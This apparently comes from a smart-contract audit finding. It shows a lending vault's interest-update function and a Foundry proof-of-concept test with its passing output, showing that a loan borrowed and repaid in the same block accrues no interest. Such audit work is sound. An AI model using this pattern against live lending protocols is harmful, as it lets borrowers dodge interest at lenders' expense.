function _updateGlobalInterest()
        internal
        returns (uint256 newDebtExchangeRateX96, uint256 newLendExchangeRateX96)
    {
        // only needs to be updated once per block (when needed)
        if (block.timestamp > lastExchangeRateUpdate) {
            (newDebtExchangeRateX96, newLendExchangeRateX96) = `_calculateGlobalInterest()`;
            lastDebtExchangeRateX96 = newDebtExchangeRateX96;
            lastLendExchangeRateX96 = newLendExchangeRateX96;
            lastExchangeRateUpdate = block.timestamp;
            emit ExchangeRateUpdate(newDebtExchangeRateX96, newLendExchangeRateX96);
        } else {
            newDebtExchangeRateX96 = lastDebtExchangeRateX96;
            newLendExchangeRateX96 = lastLendExchangeRateX96;
        }
    }
    function testInterestFreeDebt() external {
        // @audit initialize Vault
        vm.startPrank(TEST_NFT_ACCOUNT_2);
        USDC.approve(address(vault), 10000000);
        vault.deposit(1000000, TEST_NFT_ACCOUNT_2);
        vm.stopPrank();
        // @audit PoC 
        vm.startPrank(TEST_NFT_ACCOUNT);
        NPM.approve(address(vault), TEST_NFT);
        vault.create(TEST_NFT,TEST_NFT_ACCOUNT);
        console.log("balance of user before borrow",USDC.balanceOf(TEST_NFT_ACCOUNT));
        vault.borrow(TEST_NFT, 100000);
        console.log("balance of user after borrow",USDC.balanceOf(TEST_NFT_ACCOUNT));
        USDC.approve(address(vault), 100000);
        vault.repay(TEST_NFT, 100000, false);
        console.log("balance of user after repay",USDC.balanceOf(TEST_NFT_ACCOUNT));
        // @audit assert that debt paid in full
        assertTrue(NPM.ownerOf(TEST_NFT)==TEST_NFT_ACCOUNT);
    }
Running 1 test for test/integration/V3Vault.t.sol:V3VaultIntegrationTest
[PASS] testInterestFreeDebt() (gas: 542028)
Logs:
  balance of user before borrow 0
  balance of user after borrow 100000
  balance of user after repay 0

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 418.62ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests
